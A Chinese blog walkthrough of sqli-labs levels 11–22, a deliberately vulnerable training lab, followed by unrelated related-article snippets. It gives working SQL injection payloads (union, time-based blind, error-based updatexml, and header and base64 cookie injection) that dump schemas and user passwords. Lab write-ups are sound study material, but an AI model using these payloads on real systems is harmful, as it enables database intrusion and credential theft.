Less_11

点开11关出现登录页面:

1.可以随便输密码和账号,submit之后出现错误,可以看到查询username和password用and连接放在同一个SQL语句中

打开使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submit

打开post data 将uname=admin&passwd=admin&submit=submit复制过来进行修改,输入:uname=admin' or 1=1 #&passwd=admin&submit=Submit即可登陆成功:(此处不能使用--+,需要使用#,--+是在url中使用),可验证存在注入漏洞。

2.输入:uname=admin' or 1=1 limit 0,1# &passwd=123&submit=Submit,得到第一个用户名和密码。

limit 0,1是对第一个用户和密码进行  通过修改第一个数,得到其他的登录用户名

3.uname=a' order by 3 #&passwd=a&submit=Submitt或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。

4. uname =a&passwd=a’union select database(),2 # &submit=Submit

查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit

均可以查询到当前的数据库,当然也可以查询其它信息。

5.uname=a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #&passwd=a&submit=Submit可以查询到当前的第一个数据库,或uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据

6.uname=a'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # &passwd=admin&submit=Submit可以得到/security数据库中的所有表信息

7.uname=a'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # &passwd=admin&submit=Submit可以得到users表中所有字段的信息:

8.uname=a'union select 1,group_concat(concat_ws(0x7e,username,password))from security.users # &passwd=admin&submit=Submit可以得到所有数据库中的账号密码;

Less11总结:

Less12

less12使用(”a”)包裹其他操作同less11相同。

Less_13

Less_13 使用(’a’)包裹    不返回结果,我们使用盲注进行破解

1.使用uname=ain') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit,黄色字体用来判断数据库字符长度为几,当判断的正确时则立即显示登陆成功,若判断错误,则反映五秒:

uname=ain') or if(length(database())=8,1,sleep(5))#&passwd=admin&submit=Submit判断出数据库长度为8;

uname=ain') or left(database(),1)>'a' #&passwd=admin&submit=Submit用or和left来猜解第一个字符是多少

suname=ain') or left(database(),2)='se' #&passwd=admin&submit=Submit通过这样一个一个判断即可

uname=a') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit使用这种方法也可以判断

后面可以用less11方法推测表,列。

Less_14

Less-14使用”a”进行包裹其他操作与less13基本一致。

Less_15

Less-15使用admin进行包裹其他操作与less13基本一致。

 

 

Less_16

Less-16使用admin进行包裹其他操作与less13基本。

 

Less_17

补充知识:

首先在第十七关index.php里面添加echo $sql;  echo “<br>”和echo $update;  echo “<br>”;

输入uname=admin'#&passwd=afafa&submit=Submit,不会有更新的那一条语句

输入uname=admin&passwd=afafa'#&submit=Submit,就有更新的那一条语句,所以在passwd里对语句进行更改

首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息,

uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit可查询数据库

uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='security' limit 0,1)),1) #&submit=Submit可查询到secuurity库下面的其中一个表的名字

uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name ='users' limit 0,1),0x7e),1)#&submit=Submit可得到secuurity.users里的其中一个列的名字

Less17总结:

Less_18

登陆失败会显示ip地址:

首先我们可以使用mysql命令查看users里的用户名和对应的密码:

也可以重置数据库:

登陆成功后会显示IP地址和user agent,

在php文件中添加       echo $insert; echo "<br>";

再次执行则会显示:

打开burpsuite:

将黄线处修改为:

第一种: ‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1

第二种: ‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#

修改为:

' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')# 查询到库

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')# 查询到表

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')# 
查询到列

' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#  查询到字段

Less18总结:

 

Less_19

注册登录再注入登陆成功显示的是referer信息:

登陆失败是没有回显信息的:

通过insert语句进行分析

INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('http://localhost/sqli-labs-master/sqli-labs-master/Less-19/', '127.0.0.1')

分析后得知,需要进行闭合操作,两种方法:
(1)' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

less19总结:

Less_20

注册登录再注入;

.使用admin,admin登录成功会显示cookie:

登录失败会显示失败信息

使用burp suite工具 刷新出来cookie ,更改cookie 使uname=admin’ ,点GO:下图说明有注入漏洞:

查看列数:uname=' order by 5/3 #    通过二分法实验得到列数为3

看回显位置:uname=’union select 1,2,3#:

查库uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#

查表uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

查字段uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#

查字段中信息uname='union select 1,2,group_concat(concat_ws('~',username,password))from security.users#

Less20总结:

Less_21

使用)包裹

使用admin,admin登录之后, 使用burp suite工具 刷新出来cookie,

使用https://base64.us/ 进行解码

修改cookie  uname   后面的已经加密了的语句即可:

uname=')union select 1,2,database()#  编码后为: dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkjwqA=

查看列数:uname=') order by 3 #    编码为:   Jykgb3JkZXIgYnkgMyAj

Less21总结:

Less_22

使用包裹,其他操作与第21关相同

使用admin,admin登录后,使用burp suite工具 刷新出来cookie,

使用https://base64.us/ 进行解码

修改cookie  uname   后面的已经加密了的语句即可:

" union select ,2,database()#

编码后为:IsKgdW5pb24gc2VsZWN0ICwyLGRhdGFiYXNlKCkj

 

sqli-libs(11-22关)的更多相关文章

  1. lambda的使用ret = filter(lambda x : x > 22 ,[11,22,33,44])

    #!/usr/bin/env python #def f1(x) : # return x > 22 ret = filter(lambda x : x > 22 ,[11,22,33,4 ...

  2. #有如下值集合[11,22,33,44,55,66,77,88,99,90...],将所有大于66值保存至字典的一个key中,将小于66的值保存至大二个key的值

    #!/usr/bin/env python #有如下值集合[11,22,33,44,55,66,77,88,99,90...],将所有大于66值保存至字典的一个key中,将小于66的值保存至大二个ke ...

  3. 08 集合[11,22,33,44,55,66,77,88,99],将所有<66的值保存至字典的第一个key中,将所有>=66的值保存至字典的第二个key中。即:{'k1':<66的所有值,'k2':>=66的所有值}

    li = [11,22,33,44,55,66,77,88,99]dict = {'k1':[],'k2':[]}for i in li:    if i < 66:        dict[& ...

  4. 2017/11/22 Leetcode 日记

    2017/11/22 Leetcode 日记 136. Single Number Given an array of integers, every element appears twice ex ...

  5. li = [11,22,33,44,55,66,77,88,99]分类

    方法一: li = [11,22,33,44,55,66,77,88,99]s = []m = []for i in li: if i <= 55: s.append(i) else: m.ap ...

  6. Monyer's Game 11~15关过关方法

    到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...

  7. ROS(indigo) 语音工具 科大讯飞 百度 pocketsphinx julius rospeex 16.11.22更新 ROS中文语音

    ROS语音工具汇总,目前先给出链接,只用过一些简单的命令. 中文语音: 参考链接:使用科大讯飞库 1 http://www.ncnynl.com/archives/201611/1069.html 2 ...

  8. sqli-labs通关----11~20关

    第十一关 从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容. post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常 ...

  9. 第11.22节 Python 中re模块的字符串分割器:split函数

    一. 引言 在<第11.2节 Python 正则表达式支持函数概览>介绍了re模块的主要函数,在<第11.3节 Python正则表达式搜索支持函数search.match.fullm ...

  10. Sprint(第九天11.22)

随机推荐

  1. Java注释&标识符

    注释: 单行注释:// 多行注释:/*   */ 文档注释:/**  */ 其中文档注释可以Export导出dox文档,常用Javadox标记如下: @author:指定Java程序的作者 @vers ...

  2. Codeforces Round #601 (Div. 2) C League of Leesins

    把每一次输入的一组数字存下来,然后把每个数字出现的组数存下来 然后找只出现过一次的数字a,那么这个数字a不是开头就是结尾,默认为开头(是哪个都无所谓),然后去找和它出现在同一组的两个数字b和c,而b和 ...

  3. dmesg用法

    百科概念:dmesg是一种程序,用于检测和控制内核环缓冲.程序用来帮助用户了解系统的启动信息. 解释:dmesg命令显示linux内核的环形缓冲区信息,我们可以从中获得诸如系统架构.cpu.挂载的硬件 ...

  4. EF CodeFirst数据注解特性详解

    数据注解特性是.NET特性,可以在EF或者EF Core中,应用于实体类上或者属性上,以重写默认的约定规则. 在EF 6和EF Core中,数据注解特性包含在System.ComponentModel ...

  5. print format

    python基础_格式化输出(%用法和format用法) name = 'jack' age = 18 sex = 'man' job = "IT" salary = 9999.9 ...

  6. AD转换器的主要技术指标

    1)分辩率(Resolution) 指数字量变化一个最小量时模拟信号的变化量,定义为满刻度与2n的比值.分辩率又称精度,通常以数字信号的位数来表示.     2) 转换速率(Conversion Ra ...

  7. 三分钟快速上手TensorFlow 2.0 (下)——模型的部署 、大规模训练、加速

    前文:三分钟快速上手TensorFlow 2.0 (中)——常用模块和模型的部署 TensorFlow 模型导出 使用 SavedModel 完整导出模型 不仅包含参数的权值,还包含计算的流程(即计算 ...

  8. mysql时间戳详解及运用

    1.在已有表cms_nrgl_st 增加时间戳,这个时间是当前时间精确到秒的 alter table cms_nrgl_st add time_stamp TIMESTAMP DEFAULT CURR ...

  9. 计算机网络,HTTP - 如何查看一个网站是否使用HTTP/2?

    方法 HTTP/2用":authority"头部代替"Host"头部. Chrome F12里面,HTTP/1.1有"view source" ...

  10. 利用Python数据分析基础

    一.Numpy的ndarray:一种多维数组 ndarray是一个通用的同构多维数据容器,其所有元素必须是相同的类型.每个数组都有一个shape(一个表示各维度的元组)和dtype(一个用于说明数据数 ...